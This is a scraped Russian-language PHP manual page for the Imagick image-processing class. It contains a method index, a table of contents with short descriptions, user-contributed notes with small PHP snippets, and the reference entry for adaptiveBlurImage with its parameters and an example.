Imagick::clipPathImage() | Imagick::getImageColors() | Imagick::setImageCompression() |  | Imagick::newPseudoImage()
Imagick::coalesceImages() | Imagick::getImageCompose() | Imagick::setImageDelay() |  | Imagick::nextImage()
Imagick::colorFloodFillImage() | Imagick::getImageDelay() | Imagick::setImageDepth() |  | Imagick::pingImageBlob()
Imagick::colorizeImage() | Imagick::getImageDepth() | Imagick::setImageDispose() |  | Imagick::pingImageFile()
Imagick::combineImages() | Imagick::getImageDispose() | Imagick::setImageDispose() |  | Imagick::pingImage()
Imagick::compareImageChannels() | Imagick::getImageDistortion() | Imagick::setImageExtent() |  | Imagick::previousImage()
Imagick::compareImageLayers() | Imagick::getImageExtrema() | Imagick::setImageFilename() |  | Imagick::profileImage()
Imagick::compositeImage() | Imagick::getImageFilename() | Imagick::setImageFormat() |  | Imagick::queryFormats()
Imagick::contrastImage() | Imagick::getImageFormat() | Imagick::setImageGamma() |  | Imagick::removeImageProfile()
Imagick::contrastStretchImage() | Imagick::getImageGamma() | Imagick::setImageGreenPrimary() |  | Imagick::removeImage()
Imagick::convolveImage() | Imagick::getImageGeometry() | Imagick::setImageIndex() |  | Imagick::setFirstIterator()
Imagick::cropImage() | Imagick::getImageGreenPrimary() | Imagick::setImageInterpolateMethod() |  | Imagick::setImageIndex()
Imagick::cycleColormapImage() | Imagick::getImageHeight() | Imagick::setImageIterations() |  | Imagick::valid()
Imagick::deconstructImages() | Imagick::getImageHistogram() | Imagick::setImageMatteColor() |  | Imagick::getCopyright()
Imagick::drawImage() | Imagick::getImageIndex() | Imagick::setImageMatte() |  |
Imagick::edgeImage() | Imagick::getImageInterlaceScheme() | Imagick::setImagePage() |  |
Imagick::embossImage() | Imagick::getImageInterpolateMethod() | Imagick::setImageProfile() |  |
Imagick::enhanceImage() | Imagick::getImageIterations() | Imagick::setImageProperty() |  |
Imagick::equalizeImage() | Imagick::getImageMatteColor() | Imagick::setImageRedPrimary() |  |
Imagick::evaluateImage() | Imagick::getImageMatte() | Imagick::setImageRenderingIntent() |  |
Imagick::flattenImages() | Imagick::getImagePage() | Imagick::setImageResolution() |  |
Imagick::flipImage() | Imagick::getImagePixelColor() | Imagick::setImageScene() |  |
Imagick::flopImage() | Imagick::getImageProfile() | Imagick::setImageTicksPerSecond() |  |
 | Imagick::getImageProperty() | Imagick::setImageType() |  |
Imagick::fxImage() | Imagick::getImageRedPrimary() | Imagick::setImageUnits() |  |
Imagick::gammaImage() | Imagick::getImageRegion() | Imagick::setImageVirtualPixelMethod() |  |
Imagick::gaussianBlurImage() | Imagick::getImageRenderingIntent() | Imagick::setImageWhitepoint() |  |
Imagick::implodeImage() | Imagick::getImageResolution() | Imagick::setInterlaceScheme() |  |
Imagick::levelImage() | Imagick::getImageScene() | Imagick::setOption() |  |
Imagick::linearStretchImage() | Imagick::getImageSignature() | Imagick::setPage() |  |
Imagick::magnifyImage() | Imagick::getImageTicksPerSecond() | Imagick::setResolution() |  |
Imagick::matteFloodFillImage() | Imagick::getImageTotalInkDensity() | Imagick::setResourceLimit() |  |
Imagick::medianFilterImage() | Imagick::getImageType() | Imagick::setSamplingFactors() |  |
Imagick::minifyImage() | Imagick::getImageUnits() | Imagick::setSizeOffset() |  |
Imagick::modulateImage() | Imagick::getImageVirtualPixelMethod() | Imagick::setSize() |  |
Imagick::montageImage() | Imagick::getImageWhitepoint() | Imagick::setType() |  |
Imagick::morphImages() | Imagick::getImageWidth() |  |  |
Imagick::mosaicImages() | Imagick::getImage() |  |  |
Imagick::motionBlurImage() | Imagick::getInterlaceScheme() |  |  |
Imagick::negateImage() | Imagick::getNumberImages() |  |  |
Imagick::normalizeImage() | Imagick::getOption() |  |  |
Imagick::oilPaintImage() | Imagick::getPackageName() |  |  |
Imagick::optimizeImageLayers() | Imagick::getPage() |  |  |
Imagick::paintOpaqueImage() | Imagick::getPixelIterator() |  |  |
Imagick::paintTransparentImage() | Imagick::getPixelRegionIterator() |  |  |
Imagick::posterizeImage() | Imagick::getQuantumDepth() |  |  |
Imagick::radialBlurImage() | Imagick::getQuantumRange() |  |  |
Imagick::raiseImage() | Imagick::getResourceLimit() |  |  |
Imagick::randomThresholdImage() | Imagick::getResource() |  |  |
Imagick::reduceNoiseImage() | Imagick::getSamplingFactors() |  |  |
Imagick::render() | Imagick::getSizeOffset() |  |  |
Imagick::resampleImage() | Imagick::getSize() |  |  |
Imagick::resizeImage() | Imagick::identifyImage() |  |  |
Imagick::rollImage() | Imagick::getImageSize() |  |  |
Imagick::rotateImage() |  |  |  |
Imagick::sampleImage() |  |  |  |
Imagick::scaleImage() |  |  |  |
Imagick::separateImageChannel() |  |  |  |
Imagick::sepiaToneImage() |  |  |  |
Imagick::shadeImage() |  |  |  |
Imagick::shadowImage() |  |  |  |
Imagick::sharpenImage() |  |  |  |
Imagick::shaveImage() |  |  |  |
Imagick::shearImage() |  |  |  |
Imagick::sigmoidalContrastImage() |  |  |  |
Imagick::sketchImage() |  |  |  |
Imagick::solarizeImage() |  |  |  |
Imagick::spliceImage() |  |  |  |
Imagick::spreadImage() |  |  |  |
Imagick::steganoImage() |  |  |  |
Imagick::stereoImage() |  |  |  |
Imagick::stripImage() |  |  |  |
Imagick::swirlImage() |  |  |  |
Imagick::textureImage() |  |  |  |
Imagick::thresholdImage() |  |  |  |
Imagick::thumbnailImage() |  |  |  |
Imagick::tintImage() |  |  |  |
Imagick::transverseImage() |  |  |  |
Imagick::trimImage() |  |  |  |
Imagick::uniqueImageColors() |  |  |  |
Imagick::unsharpMaskImage() |  |  |  |
Imagick::vignetteImage() |  |  |  |
Imagick::waveImage() |  |  |  |
Imagick::whiteThresholdImage() |  |  |  |

Содержание

  • Imagick::adaptiveBlurImage — Добавляет адаптивный фильтр размытия к изображению
  • Imagick::adaptiveResizeImage — Адаптивное изменение размера изображения с данными триангуляции
  • Imagick::adaptiveSharpenImage — Адаптивное изменение резкости изображения
  • Imagick::adaptiveThresholdImage — Выбор порога для каждого пикселя в зависимости от диапазона интенсивности
  • Imagick::addImage — Добавляет новое изображение к списку изображений объекта Imagick
  • Imagick::addNoiseImage — Накладывает случайный шум на изображение
  • Imagick::affineTransformImage — Преобразование изображения
  • Imagick::animateImages — Анимация одного или нескольких изображений
  • Imagick::annotateImage — Добавляет текстовый комментарий на изображение
  • Imagick::appendImages — Объединяет набор изображений
  • Imagick::autoLevelImage — Настраивает уровни определённого канала изображения
  • Imagick::averageImages — Усредняет набор изображений
  • Imagick::blackThresholdImage — Перевести все пиксели ниже порогового значения в чёрный цвет
  • Imagick::blueShiftImage — Приглушает цвета изображения
  • Imagick::blurImage — Добавляет фильтр размытия к изображению
  • Imagick::borderImage — Окружает изображение рамкой
  • Imagick::brightnessContrastImage — Изменяет яркость и/или контраст изображения
  • Imagick::charcoalImage — Рисование углём
  • Imagick::chopImage — Удаляет область изображения и обрезает его
  • Imagick::clampImage — Ограничивает диапазон цветов от 0 до квантовой глубины
  • Imagick::clear — Очищает все ресурсы, связанные с объектом Imagick
  • Imagick::clipImage — Обрезка вдоль ближайшего контура с профилем 8BIM
  • Imagick::clipImagePath — Клипы вдоль именованных путей из профиля 8BIM, если они есть
  • Imagick::clipPathImage — Отсечь вдоль обозначенного контура с профилем 8BIM
  • Imagick::clone — Создаёт точную копию объекта Imagick
  • Imagick::clutImage — Заменяет цвета в изображении
  • Imagick::coalesceImages — Компонует набор изображений
  • Imagick::colorFloodfillImage — Изменяет значение цвета любого пикселя, соответствующего целевому
  • Imagick::colorizeImage — Смешивание цвета заливки с изображением
  • Imagick::colorMatrixImage — Применяет преобразование цвета к изображению
  • Imagick::combineImages — Объединяет одно или несколько изображений в одно изображение
  • Imagick::commentImage — Добавляет комментарий к вашему изображению
  • Imagick::compareImageChannels — Возвращает разницу в одном или нескольких изображениях
  • Imagick::compareImageLayers — Возвращает максимальную ограничивающую область между изображениями
  • Imagick::compareImages — Сравнивает изображение с восстановленным изображением
  • Imagick::compositeImage — Накладывает одно изображение на другое
  • Imagick::__construct — Конструктор объекта Imagick
  • Imagick::contrastImage — Изменяет контраст изображения
  • Imagick::contrastStretchImage — Повышает контрастность цветного изображения
  • Imagick::convolveImage — Применяет пользовательское ядро свёртки к изображению
  • Imagick::count — Получает количество изображений
  • Imagick::cropImage — Извлекает область изображения
  • Imagick::cropThumbnailImage — Создаёт обрезанную миниатюру
  • Imagick::current — Возвращает ссылку на текущий объект Imagick
  • Imagick::cycleColormapImage — Отображает цветовую карту изображения
  • Imagick::decipherImage — Расшифровывает изображение
  • Imagick::deconstructImages — Возвращает определённые пиксельные различия между изображениями
  • Imagick::deleteImageArtifact — Удаляет артефакт изображения
  • Imagick::deleteImageProperty — Удаляет свойство изображения
  • Imagick::deskewImage — Удаляет перекос с изображения
  • Imagick::despeckleImage — Уменьшает спекл-шум на изображении
  • Imagick::destroy — Удаляет объект Imagick
  • Imagick::displayImage — Выводит изображение
  • Imagick::displayImages — Выводит изображение или последовательность изображений
  • Imagick::distortImage — Искажает изображение, используя различные методы искажения
  • Imagick::drawImage — Выполняет рендеринг объекта ImagickDraw на текущем изображении
  • Imagick::edgeImage — Усиливает края в изображении
  • Imagick::embossImage — Возвращает изображение в градациях серого с трёхмерным эффектом
  • Imagick::encipherImage — Шифрует изображение
  • Imagick::enhanceImage — Улучшает качество шумного изображения
  • Imagick::equalizeImage — Выравнивает гистограмму изображения
  • Imagick::evaluateImage — Применяет выражение к изображению
  • Imagick::exportImagePixels — Экспортирует пиксели изображения
  • Imagick::extentImage — Устанавливает размер изображения
  • Imagick::filter — Применяет пользовательское ядро свёртки к изображению
  • Imagick::flattenImages — Объединяет последовательность изображений
  • Imagick::flipImage — Создаёт вертикальное зеркало изображения
  • Imagick::floodFillPaintImage — Изменяет значение цвета любого пикселя, соответствующего целевому
  • Imagick::flopImage — Создаёт горизонтальное зеркальное отображение
  • Imagick::forwardFourierTransformImage — Реализует дискретное преобразование Фурье
  • Imagick::frameImage — Добавляет имитацию трёхмерной границы
  • Imagick::functionImage — Применяет функцию к изображению
  • Imagick::fxImage — Оценивает выражение для каждого пикселя в изображении
  • Imagick::gammaImage — Гамма-коррекция изображения
  • Imagick::gaussianBlurImage — Размывает изображение
  • Imagick::getColorspace — Возвращает цветовую палитру
  • Imagick::getCompression — Возвращает тип сжатия объекта
  • Imagick::getCompressionQuality — Возвращает качество сжатия объекта
  • Imagick::getCopyright — Возвращает копирайт API ImageMagick в виде строки
  • Imagick::getFilename — Имя файла результирующего изображения
  • Imagick::getFont — Возвращает название шрифта
  • Imagick::getFormat — Возвращает формат Imagick объекта
  • Imagick::getGravity — Возвращает значение гравитации (притяжения)
  • Imagick::getHomeURL — Возвращает домашний URL библиотеки ImageMagick
  • Imagick::getImage — Возвращает новый объект Imagick
  • Imagick::getImageAlphaChannel — Проверяет, есть ли у изображения альфа-канал
  • Imagick::getImageArtifact — Возвращает артефакт изображения
  • Imagick::getImageAttribute — Возвращает именованный атрибут
  • Imagick::getImageBackgroundColor — Возвращает цвет фона изображения
  • Imagick::getImageBlob — Возвращает последовательность изображений в виде BLOB
  • Imagick::getImageBluePrimary — Возвращает основную точку синего цвета для изображения
  • Imagick::getImageBorderColor — Возвращает цвет рамки изображения
  • Imagick::getImageChannelDepth — Возвращает глубину для определённого канала изображения
  • Imagick::getImageChannelDistortion — Сравнивает каналы изображения с восстановленным изображением
  • Imagick::getImageChannelDistortions — Возвращает искажения канала
  • Imagick::getImageChannelExtrema — Возвращает экстремумы для одного или нескольких каналов изображения
  • Imagick::getImageChannelKurtosis — Возвращает эксцесс и асимметрию определённого канала
  • Imagick::getImageChannelMean — Возвращает среднее и стандартное отклонение
  • Imagick::getImageChannelRange — Возвращает диапазон каналов
  • Imagick::getImageChannelStatistics — Возвращает статистику для каждого канала изображения
  • Imagick::getImageClipMask — Возвращает обтравочную маску изображения
  • Imagick::getImageColormapColor — Возвращает цвет указанного индекса палитры
  • Imagick::getImageColors — Возвращает число уникальных цветов в изображении
  • Imagick::getImageColorspace — Возвращает цветовую палитру изображения
  • Imagick::getImageCompose — Возвращает составной оператор, связанный с изображением
  • Imagick::getImageCompression — Возвращает текущий тип компрессии изображения
  • Imagick::getImageCompressionQuality — Возвращает текущее качество сжатия изображения
  • Imagick::getImageDelay — Возвращает задержку изображения
  • Imagick::getImageDepth — Возвращает глубину изображения
  • Imagick::getImageDispose — Возвращает метод удаления изображения
  • Imagick::getImageDistortion — Сравнивает изображение с восстановленным изображением
  • Imagick::getImageExtrema — Возвращает экстремумы изображения
  • Imagick::getImageFilename — Возвращает имя файла конкретного изображения в последовательности
  • Imagick::getImageFormat — Возвращает формат конкретного изображения в последовательности
  • Imagick::getImageGamma — Возвращает гамму изображения
  • Imagick::getImageGeometry — Возвращает ширину и высоту в виде ассоциативного массива
  • Imagick::getImageGravity — Возвращает значение гравитации (притяжения)
  • Imagick::getImageGreenPrimary — Возвращает первичную точку цветности зелёного
  • Imagick::getImageHeight — Возвращает высоту изображения
  • Imagick::getImageHistogram — Возвращает гистограмму изображения
  • Imagick::getImageIndex — Возвращает индекс текущего активного изображения
  • Imagick::getImageInterlaceScheme — Получает схему чересстрочного изображения
  • Imagick::getImageInterpolateMethod — Возвращает метод интерполяции
  • Imagick::getImageIterations — Возвращает итерации изображения
  • Imagick::getImageLength — Возвращает длину изображения в байтах
  • Imagick::getImageMatte — Возвращает, если изображение содержит матовый канал
  • Imagick::getImageMatteColor — Возвращает матовый цвет изображения
  • Imagick::getImageMimeType — Возвращает MIME-тип изображения
  • Imagick::getImageOrientation — Возвращает ориентацию изображения
  • Imagick::getImagePage — Возвращает геометрию страницы
  • Imagick::getImagePixelColor — Возвращает цвет указанного пикселя
  • Imagick::getImageProfile — Возвращает именованный профиль изображения
  • Imagick::getImageProfiles — Возвращает профили изображений
  • Imagick::getImageProperties — Возвращает свойства изображения
  • Imagick::getImageProperty — Возвращает именованное свойство изображения
  • Imagick::getImageRedPrimary — Возвращает красную первичную точку цветности
  • Imagick::getImageRegion — Извлекает область изображения
  • Imagick::getImageRenderingIntent — Возвращает схему цветопередачи изображения
  • Imagick::getImageResolution — Возвращает разрешение изображения по X и Y
  • Imagick::getImagesBlob — Возвращает все последовательности изображений в виде большого двоичного объекта
  • Imagick::getImageScene — Возвращает сцену изображения
  • Imagick::getImageSignature — Генерирует хеш SHA-256
  • Imagick::getImageSize — Возвращает размер изображения в байтах
  • Imagick::getImageTicksPerSecond — Получает количество кадров в секунду для изображения
  • Imagick::getImageTotalInkDensity — Возвращает общую плотность чернил изображения
  • Imagick::getImageType — Возвращает возможный тип изображения
  • Imagick::getImageUnits — Возвращает единицы измерения разрешения изображения
  • Imagick::getImageVirtualPixelMethod — Возвращает метод виртуального пикселя
  • Imagick::getImageWhitePoint — Возвращает белую точку цветности
  • Imagick::getImageWidth — Возвращает ширину изображения
  • Imagick::getInterlaceScheme — Получает схему сжатия изображения
  • Imagick::getIteratorIndex — Возвращает индекс текущего активного изображения
  • Imagick::getNumberImages — Возвращает количество изображений в объекте
  • Imagick::getOption — Возвращает значение, связанное с указанным ключом
  • Imagick::getPackageName — Возвращает имя пакета ImageMagick
  • Imagick::getPage — Возвращает геометрию страницы
  • Imagick::getPixelIterator — Возвращает MagickPixelIterator
  • Imagick::getPixelRegionIterator — Возвращает объект ImagickPixelIterator для секции изображения
  • Imagick::getPointSize — Возвращает размер точки
  • Imagick::getQuantum — Возвращает квантовый диапазон ImageMagick
  • Imagick::getQuantumDepth — Возвращает величину глубины
  • Imagick::getQuantumRange — Возвращает величину размера спектра Imagick
  • Imagick::getRegistry — Получает запись StringRegistry
  • Imagick::getReleaseDate — Возвращает дату релиза ImageMagick
  • Imagick::getResource — Возвращает размер используемой памяти указанного ресурса
  • Imagick::getResourceLimit — Возвращает заданный лимит ресурсов
  • Imagick::getSamplingFactors — Возвращает горизонтальный и вертикальный фактор выборки
  • Imagick::getSize — Возвращает размер, связанный с объектом Imagick
  • Imagick::getSizeOffset — Возвращает размер смещения
  • Imagick::getVersion — Возвращает версию API ImageMagick
  • Imagick::haldClutImage — Заменяет цвета в изображении
  • Imagick::hasNextImage — Проверяет, содержит ли объект больше изображений
  • Imagick::hasPreviousImage — Проверяет, есть ли у объекта предыдущее изображение
  • Imagick::identifyFormat — Заменяет любые встроенные символы форматирования соответствующим свойством изображения
  • Imagick::identifyImage — Определяет изображение и получает атрибуты
  • Imagick::implodeImage — Создаёт копию изображения
  • Imagick::importImagePixels — Импортирует пиксели изображения
  • Imagick::inverseFourierTransformImage — Реализует дискретное преобразование Фурье
  • Imagick::labelImage — Добавляет метку к изображению
  • Imagick::levelImage — Регулирует уровни изображения
  • Imagick::linearStretchImage — Растягивает с насыщением яркость изображения
  • Imagick::liquidRescaleImage — Анимирует изображение или изображения
  • Imagick::listRegistry — Перечисляет все настройки реестра
  • Imagick::magnifyImage — Пропорционально масштабирует изображение в два раза
  • Imagick::mapImage — Заменяет цвета изображения на ближайший цвет из эталонного изображения
  • Imagick::matteFloodfillImage — Изменяет значение прозрачности цвета
  • Imagick::medianFilterImage — Применяет цифровой фильтр
  • Imagick::mergeImageLayers — Объединяет слои изображения
  • Imagick::minifyImage — Масштабирует изображение пропорционально половине его размера
  • Imagick::modulateImage — Управляйте яркостью, насыщенностью и оттенком
  • Imagick::montageImage — Создаёт составное изображение
  • Imagick::morphImages — Преобразует набор изображений
  • Imagick::morphology — Применяет к изображению ядро, предоставленное пользователем, в соответствии с заданным методом морфологии
  • Imagick::mosaicImages — Формирует мозаику из изображений
  • Imagick::motionBlurImage — Имитирует размытие в движении
  • Imagick::negateImage — Инвертирует цвета в эталонном изображении
  • Imagick::newImage — Создаёт новое изображение
  • Imagick::newPseudoImage — Создаёт новое изображение
  • Imagick::nextImage — Переходит к следующему изображению
  • Imagick::normalizeImage — Повышает контрастность цветного изображения
  • Imagick::oilPaintImage — Имитирует картину маслом
  • Imagick::opaquePaintImage — Изменяет значение цвета любого пикселя, соответствующего целевому
  • Imagick::optimizeImageLayers — Удаляет повторяющиеся части изображений для оптимизации
  • Imagick::orderedPosterizeImage — Выполняет упорядоченный дизеринг
  • Imagick::paintFloodfillImage — Изменяет значение цвета любого пикселя, соответствующего цели
  • Imagick::paintOpaqueImage — Изменяет любой пиксель, соответствующий цвету
  • Imagick::paintTransparentImage — Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой
  • Imagick::pingImage — Получает основные атрибуты изображения
  • Imagick::pingImageBlob — Быстро извлекает атрибуты
  • Imagick::pingImageFile — Получает базовые атрибуты изображения упрощённым способом
  • Imagick::polaroidImage — Имитирует фото Polaroid
  • Imagick::posterizeImage — Уменьшает изображение до ограниченного количества уровней цвета
  • Imagick::previewImages — Быстрое определение подходящих параметров для обработки изображений
  • Imagick::previousImage — Переходит к предыдущему изображению в объекте
  • Imagick::profileImage — Добавляет или удаляет профиль изображения
  • Imagick::quantizeImage — Анализирует цвета эталонного изображения
  • Imagick::quantizeImages — Анализирует цвета в последовательности изображений
  • Imagick::queryFontMetrics — Возвращает массив, представляющий метрики шрифта
  • Imagick::queryFonts — Возвращает настроенные шрифты
  • Imagick::queryFormats — Возвращает форматы, поддерживаемые Imagick
  • Imagick::radialBlurImage — Радиальное размытие изображения
  • Imagick::raiseImage — Создаёт имитацию эффекта 3D-кнопки
  • Imagick::randomThresholdImage — Создаёт высококонтрастное двухцветное изображение
  • Imagick::readImage — Читает изображение из файла
  • Imagick::readImageBlob — Считывает изображение из двоичной строки
  • Imagick::readImageFile — Читает изображение из открытого дескриптора файла
  • Imagick::readimages — Читает изображение из массива имён файлов
  • Imagick::recolorImage — Перекрашивает изображение
  • Imagick::reduceNoiseImage — Сглаживает контуры изображения
  • Imagick::remapImage — Переназначает цвета изображения
  • Imagick::removeImage — Удаляет изображение из списка изображений
  • Imagick::removeImageProfile — Удаляет именованный профиль изображения и возвращает его
  • Imagick::render — Отображает все предыдущие команды рисования
  • Imagick::resampleImage — Преобразует изображение к желаемому разрешению
  • Imagick::resetImagePage — Сбрасывает страницу изображения
  • Imagick::resizeImage — Масштабирует изображение
  • Imagick::rollImage — Смещает изображение
  • Imagick::rotateImage — Поворачивает изображение
  • Imagick::rotationalBlurImage — Применяет вращательное размытие к изображению
  • Imagick::roundCorners — Скругляет углы изображения
  • Imagick::sampleImage — Масштабирует изображение с пиксельной выборкой
  • Imagick::scaleImage — Масштабирует размер изображения
  • Imagick::segmentImage — Сегментирует изображение
  • Imagick::selectiveBlurImage — Выборочное размытие изображения в пределах порогового значения контрастности
  • Imagick::separateImageChannel — Отделяет канал от изображения
  • Imagick::sepiaToneImage — Тонирование изображения сепией
  • Imagick::setBackgroundColor — Устанавливает цвет фона объекта по умолчанию
  • Imagick::setColorspace — Устанавливает цветовое пространство
  • Imagick::setCompression — Устанавливает тип сжатия объекта по умолчанию
  • Imagick::setCompressionQuality — Устанавливает качество сжатия объекта по умолчанию
  • Imagick::setFilename — Устанавливает имя файла перед чтением или записью изображения
  • Imagick::setFirstIterator — Устанавливает итератор Imagick для первого изображения
  • Imagick::setFont — Устанавливает шрифт
  • Imagick::setFormat — Устанавливает формат объекта Imagick
  • Imagick::setGravity — Устанавливает гравитацию
  • Imagick::setImage — Заменяет изображение в объекте
  • Imagick::setImageAlphaChannel — Устанавливает альфа-канал изображения
  • Imagick::setImageArtifact — Устанавливает артефакт изображения
  • Imagick::setImageAttribute — Устанавливает атрибут изображения
  • Imagick::setImageBackgroundColor — Устанавливает цвет фона изображения
  • Imagick::setImageBias — Устанавливает смещение изображения для любого метода, который свёртывает изображение
  • Imagick::setImageBiasQuantum — Устанавливает смещение изображения
  • Imagick::setImageBluePrimary — Устанавливает цветность изображения голубой основной точкой
  • Imagick::setImageBorderColor — Устанавливает цвет рамки изображения
  • Imagick::setImageChannelDepth — Устанавливает глубину определённого канала изображения
  • Imagick::setImageClipMask — Устанавливает маску клипа
  • Imagick::setImageColormapColor — Устанавливает цвет указанного индекса цветовой карты
  • Imagick::setImageColorspace — Устанавливает цветовое пространство изображения
  • Imagick::setImageCompose — Устанавливает оператор составного изображения
  • Imagick::setImageCompression — Устанавливает сжатие изображения
  • Imagick::setImageCompressionQuality — Устанавливает качество сжатия изображения
  • Imagick::setImageDelay — Устанавливает задержку изображения
  • Imagick::setImageDepth — Устанавливает глубину изображения
  • Imagick::setImageDispose — Устанавливает метод удаления изображения
  • Imagick::setImageExtent — Устанавливает размер изображения
  • Imagick::setImageFilename — Устанавливает имя файла конкретного изображения
  • Imagick::setImageFormat — Устанавливает формат определённого изображения
  • Imagick::setImageGamma — Устанавливает гамму изображения
  • Imagick::setImageGravity — Устанавливает гравитацию изображения
  • Imagick::setImageGreenPrimary — Устанавливает цветность изображения зелёной первичной точкой
  • Imagick::setImageIndex — Устанавливает позицию итератора
  • Imagick::setImageInterlaceScheme — Устанавливает сжатие изображения
  • Imagick::setImageInterpolateMethod — Устанавливает метод интерполяции пикселей изображения
  • Imagick::setImageIterations — Устанавливает итерации изображения
  • Imagick::setImageMatte — Устанавливает матовый канал изображения
  • Imagick::setImageMatteColor — Устанавливает матовый цвет изображения
  • Imagick::setImageOpacity — Устанавливает уровень непрозрачности изображения
  • Imagick::setImageOrientation — Устанавливает ориентацию изображения
  • Imagick::setImagePage — Устанавливает геометрию страницы изображения
  • Imagick::setImageProfile — Добавляет именованный профиль к объекту Imagick
  • Imagick::setImageProperty — Устанавливает свойство изображения
  • Imagick::setImageRedPrimary — Устанавливает красную первичную точку цветности изображения
  • Imagick::setImageRenderingIntent — Устанавливает схему цветопередачи изображения
  • Imagick::setImageResolution — Устанавливает разрешение изображения
  • Imagick::setImageScene — Устанавливает сцену изображения
  • Imagick::setImageTicksPerSecond — Устанавливает продолжительность отображения кадра
  • Imagick::setImageType — Устанавливает тип изображения
  • Imagick::setImageUnits — Устанавливает единицы измерения разрешения изображения
  • Imagick::setImageVirtualPixelMethod — Устанавливает метод виртуального пикселя
  • Imagick::setImageWhitePoint — Устанавливает белую точку цветности изображения
  • Imagick::setInterlaceScheme — Устанавливает сжатие изображения
  • Imagick::setIteratorIndex — Устанавливает позицию итератора
  • Imagick::setLastIterator — Устанавливает итератор Imagick к последнему изображению
  • Imagick::setOption — Устанавливает опцию
  • Imagick::setPage — Устанавливает геометрию страницы объекта Imagick
  • Imagick::setPointSize — Устанавливает размер точки
  • Imagick::setProgressMonitor — Устанавливает callback-функцию, которая будет вызываться во время обработки изображения Imagick
  • Imagick::setRegistry — Устанавливает значение для записи реестра ImageMagick с именем key
  • Imagick::setResolution — Устанавливает разрешение изображения
  • Imagick::setResourceLimit — Устанавливает лимит для конкретного ресурса
  • Imagick::setSamplingFactors — Устанавливает коэффициенты выборки изображений
  • Imagick::setSize — Устанавливает размер объекта Imagick
  • Imagick::setSizeOffset — Устанавливает размер и смещение объекта Imagick
  • Imagick::setType — Устанавливает атрибут типа изображения
  • Imagick::shadeImage — Создаёт 3D-эффект
  • Imagick::shadowImage — Имитирует тень изображения
  • Imagick::sharpenImage — Повышает резкость изображения
  • Imagick::shaveImage — Удаляет пиксели по краям изображения
  • Imagick::shearImage — Создаёт параллелограмм
  • Imagick::sigmoidalContrastImage — Регулирует контраст изображения
  • Imagick::sketchImage — Имитирует набросок карандашом
  • Imagick::smushImages — Берёт все изображения из текущего указателя изображения в конец списка изображений и перемещает их
  • Imagick::solarizeImage — Применяет к изображению эффект соляризации
  • Imagick::sparseColorImage — Интерполирует цвета
  • Imagick::spliceImage — Склеивает сплошной цвет в изображение
  • Imagick::spreadImage — Случайно смещает каждый пиксель в блоке
  • Imagick::statisticImage — Модификация изображения с помощью функции статистики
  • Imagick::steganoImage — Скрывает цифровой водяной знак в изображении
  • Imagick::stereoImage — Объединяет два изображения
  • Imagick::stripImage — Снимает изображение всех профилей и комментариев
  • Imagick::subImageMatch — Выполняет поиск фрагмента изображения в текущем изображении и возвращает второстепенное изображение
  • Imagick::swirlImage — Закручивает пиксели вокруг центра изображения
  • Imagick::textureImage — Многократно размещает изображение текстуры
  • Imagick::thresholdImage — Изменяет отдельные пиксели на основе порогового значения
  • Imagick::thumbnailImage — Изменяет размер изображения
  • Imagick::tintImage — Применяет вектор цвета к каждому пикселю изображения
  • Imagick::__toString — Возвращает изображение в виде строки
  • Imagick::transformImage — Удобный метод настройки размера кадрирования и геометрии изображения
  • Imagick::transformImageColorspace — Преобразует изображение в новое цветовое пространство
  • Imagick::transparentPaintImage — Рисует пиксели прозрачными
  • Imagick::transposeImage — Создаёт вертикальное зеркальное отображение
  • Imagick::transverseImage — Создаёт горизонтальное зеркальное отображение
  • Imagick::trimImage — Удаляет края с изображения
  • Imagick::uniqueImageColors — Отбрасывает всё, кроме одного, любого цвета пикселя
  • Imagick::unsharpMaskImage — Резкость изображения
  • Imagick::valid — Проверяет, является ли текущий элемент корректным
  • Imagick::vignetteImage — Добавляет виньетный фильтр к изображению
  • Imagick::waveImage — Применяет волновой фильтр к изображению
  • Imagick::whiteThresholdImage — Закрашивает все пиксели выше порога в белый
  • Imagick::writeImage — Записывает изображение по указанному имени файла
  • Imagick::writeImageFile — Записывает изображение в файл
  • Imagick::writeImages — Записывает изображение или последовательность изображений
  • Imagick::writeImagesFile — Записывает фреймы в файловый дескриптор

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 07:52
When using this library with PDFs, the term "image" applies to a page where the pointer begins at the last page of the document.

<?php

$document = new Imagick('myPdf.pdf'); //2 page PDF

$document->getNumberImages(); //returns 2

var_dump($document->hasNextImage()); //returns false - remember, we're on the last page
var_dump($document->hasPreviousImage()); //returns true

?>

If you need to do more than generate thumbnails from a PDF, use XPDF: http://www.foolabs.com/xpdf/home.html
php at mattjanssen dot com 21-Dec-2010 12:39
You can find the documentation for all of these magick_wand--the interface Imagic seems to be built on--functions at http://www.graphicsmagick.org/wand/magick_wand.html
StealthFox at live dot com 23-Oct-2008 07:15
Users looking to save  with these functions should know it can be done easily, for example

<?php
header ("Content-Type: image/{$Imagick->getImageFormat()}");
$data = $Imagick->getImageBlob ();
echo $data;
file_put_contents ('test.png', $data);
?>

That would display the image, and then save it to test.png. Such things are helpful especially when you need to reload images after creating them or save for later. :)


Добавляет адаптивный фильтр размытия к изображению

  • « Imagick
  • Imagick::adaptiveResizeImage »
  • PHP Manual
  • Imagick
  • Добавляет адаптивный фильтр размытия к изображению

Imagick::adaptiveBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveBlurImage — Добавляет адаптивный фильтр размытия к изображению

Описание

public Imagick::adaptiveBlurImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Добавляет адаптивный фильтр размытия к изображению. Интенсивность адаптивного размытия значительно уменьшается к краям изображения, в то время как стандартное размытие равномерно распределяется по всему изображению. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

radius

Радиус Гаусса, в пикселях, не считая центрального пикселя. Если передан 0, то радиус будет выбран автоматически.

sigma

Стандартное отклонение Гаусса, в пикселях.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::adaptiveBlurImage():

Адаптивное размытие изображения и отображение его в браузере.

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->adaptiveBlurImage(5,3);
echo $image;

?>

Результатом выполнения данного примера будет что-то подобное:

Пример вывода : Использование Imagick::adaptiveBlurImage()

Смотрите также

  • Imagick::blurImage() - Добавляет фильтр размытия к изображению
